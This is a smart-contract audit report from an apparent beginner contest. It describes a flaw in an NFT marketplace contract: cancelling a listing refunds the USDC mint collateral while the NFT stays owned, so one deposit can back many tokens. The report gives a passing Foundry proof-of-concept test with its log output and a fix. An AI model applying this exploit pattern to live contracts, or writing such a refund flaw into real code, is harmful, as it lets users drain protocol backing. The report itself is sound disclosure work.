NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Collateral can be refunded while the NFT remains outstanding

Author Revealed upon completion

Description

  • Under the intended design, minting an NFT requires the minter to transfer lockAmount USDC into the contract, and that amount is recorded in collateralForMinting[tokenId], which strongly suggests that each outstanding NFT is meant to remain backed by locked collateral until a later terminal action releases it. The README also describes the protocol as “collecting base price/collateral on minting,” which reinforces that the collateral is part of the NFT lifecycle rather than a temporary one-block listing deposit.

  • The issue is that cancelListing() refunds the full collateral to the seller without burning the NFT and without otherwise removing it from circulation. After cancellation, the seller still owns the NFT, but collateralForMinting[tokenId] is set to zero and the contract no longer holds the backing amount for that token. In practice, this means the minter can recover the same 20 USDC and reuse it to mint additional NFTs, so a single deposit can be recycled into many outstanding tokens over time.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount; // @> each minted NFT records locked collateral
_safeMint(msg.sender, tokenIdCounter); // @> NFT is minted and remains outstanding
}
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]); // @> collateral refunded on cancel
collateralForMinting[listing.tokenId] = 0; // @> backing is erased
emit NFT_Dealers_ListingCanceled(_listingId);
}
``

Risk

Likelihood: High

  • This occurs whenever a whitelisted user mints an NFT, lists it, and then cancels the listing, because cancellation immediately returns the recorded collateral while the NFT remains owned by the same user.

  • This occurs repeatedly with the same capital because the refunded lockAmount can be reused to mint the next NFT, allowing one small bankroll to create many outstanding tokens sequentially.

Impact: High

  • The protocol’s economic model is broken because outstanding NFTs are no longer backed by the collateral that was supposedly collected on mint.

  • A user can effectively mint NFTs for free after only a temporary lock period, which undermines scarcity, pricing assumptions, and any downstream reliance on per-token backing.

Proof of Concept

  • Add import {console2} from "forge-std/console2.sol"; at the top of NFTDealersTest.t.sol.

  • Copy the code below to NFTDealersTest contract.

  • Run command forge test --mt testCollateralRefundedWhileNftRemainsOutstanding -vv.

function testCollateralRefundedWhileNftRemainsOutstanding() public revealed whitelisted {
uint256 tokenId1 = 1;
uint256 tokenId2 = 2;
uint32 listPrice = 1000e6;
uint256 lockAmt = nftDealers.lockAmount();
console2.log("Initial userWithCash USDC balance:", usdc.balanceOf(userWithCash));
console2.log("Initial contract USDC balance:", usdc.balanceOf(address(nftDealers)));
console2.log("Lock amount:", lockAmt);
// ------------------------------------------------------------
// Phase 1: Mint token #1 with locked collateral
// ------------------------------------------------------------
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
console2.log("After mint #1 - user balance:", usdc.balanceOf(userWithCash));
console2.log("After mint #1 - contract balance:", usdc.balanceOf(address(nftDealers)));
console2.log("After mint #1 - collateral token #1:", nftDealers.collateralForMinting(tokenId1));
console2.log("After mint #1 - owner of token #1:", nftDealers.ownerOf(tokenId1));
console2.log("After mint #1 - NFT balance of user:", nftDealers.balanceOf(userWithCash));
assertEq(nftDealers.ownerOf(tokenId1), userWithCash);
assertEq(usdc.balanceOf(userWithCash), 0);
assertEq(usdc.balanceOf(address(nftDealers)), lockAmt);
assertEq(nftDealers.collateralForMinting(tokenId1), lockAmt);
// ------------------------------------------------------------
// Phase 2: List and cancel token #1
// Collateral is refunded, but token #1 still exists and is still owned
// ------------------------------------------------------------
nftDealers.list(tokenId1, listPrice);
nftDealers.cancelListing(tokenId1);
console2.log("After cancel #1 - user balance:", usdc.balanceOf(userWithCash));
console2.log("After cancel #1 - contract balance:", usdc.balanceOf(address(nftDealers)));
console2.log("After cancel #1 - collateral token #1:", nftDealers.collateralForMinting(tokenId1));
console2.log("After cancel #1 - owner of token #1:", nftDealers.ownerOf(tokenId1));
console2.log("After cancel #1 - NFT balance of user:", nftDealers.balanceOf(userWithCash));
// Core bug signal:
// user recovered the entire collateral but still owns token #1
assertEq(usdc.balanceOf(userWithCash), lockAmt, "user should have recovered full collateral");
assertEq(usdc.balanceOf(address(nftDealers)), 0, "contract no longer holds collateral for token #1");
assertEq(nftDealers.collateralForMinting(tokenId1), 0, "token #1 backing was erased");
assertEq(nftDealers.ownerOf(tokenId1), userWithCash, "token #1 is still outstanding");
assertEq(nftDealers.balanceOf(userWithCash), 1, "user still owns token #1");
// ------------------------------------------------------------
// Phase 3: Reuse the same refunded collateral to mint token #2
// ------------------------------------------------------------
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
vm.stopPrank();
console2.log("After mint #2 - user balance:", usdc.balanceOf(userWithCash));
console2.log("After mint #2 - contract balance:", usdc.balanceOf(address(nftDealers)));
console2.log("After mint #2 - collateral token #1:", nftDealers.collateralForMinting(tokenId1));
console2.log("After mint #2 - collateral token #2:", nftDealers.collateralForMinting(tokenId2));
console2.log("After mint #2 - owner of token #1:", nftDealers.ownerOf(tokenId1));
console2.log("After mint #2 - owner of token #2:", nftDealers.ownerOf(tokenId2));
console2.log("After mint #2 - NFT balance of user:", nftDealers.balanceOf(userWithCash));
// Exploit demonstration:
// the same 20e6 USDC was reused to leave two NFTs outstanding
assertEq(nftDealers.ownerOf(tokenId1), userWithCash, "user still owns token #1");
assertEq(nftDealers.ownerOf(tokenId2), userWithCash, "user minted token #2 with the same capital");
assertEq(nftDealers.balanceOf(userWithCash), 2, "user now owns two NFTs");
assertEq(nftDealers.collateralForMinting(tokenId1), 0, "token #1 remains uncollateralized");
assertEq(nftDealers.collateralForMinting(tokenId2), lockAmt, "only token #2 is backed");
assertEq(usdc.balanceOf(address(nftDealers)), lockAmt, "contract holds only one lock amount for two NFTs");
}

Output:

[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] testCollateralRefundedWhileNftRemainsOutstanding() (gas: 419823)
Logs:
Initial userWithCash USDC balance: 20000000
Initial contract USDC balance: 0
Lock amount: 20000000
After mint #1 - user balance: 0
After mint #1 - contract balance: 20000000
After mint #1 - collateral token #1: 20000000
After mint #1 - owner of token #1: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
After mint #1 - NFT balance of user: 1
After cancel #1 - user balance: 20000000
After cancel #1 - contract balance: 0
After cancel #1 - collateral token #1: 0
After cancel #1 - owner of token #1: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
After cancel #1 - NFT balance of user: 1
After mint #2 - user balance: 0
After mint #2 - contract balance: 20000000
After mint #2 - collateral token #1: 0
After mint #2 - collateral token #2: 20000000
After mint #2 - owner of token #1: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
After mint #2 - owner of token #2: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
After mint #2 - NFT balance of user: 2
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.13ms (927.30µs CPU time)
Ran 1 test suite in 14.93ms (3.13ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • Ensure that cancellation only affects marketplace availability and does not release mint collateral.

  • The collateral should remain tied to the token until a true terminal action occurs, such as a burn/redemption flow or a precisely defined settlement flow that intentionally returns collateral.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
- collateralForMinting[listing.tokenId] = 0;
+ // Keep collateral locked while the NFT remains outstanding.
+ // Cancellation should only delist the NFT, not release mint backing.
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!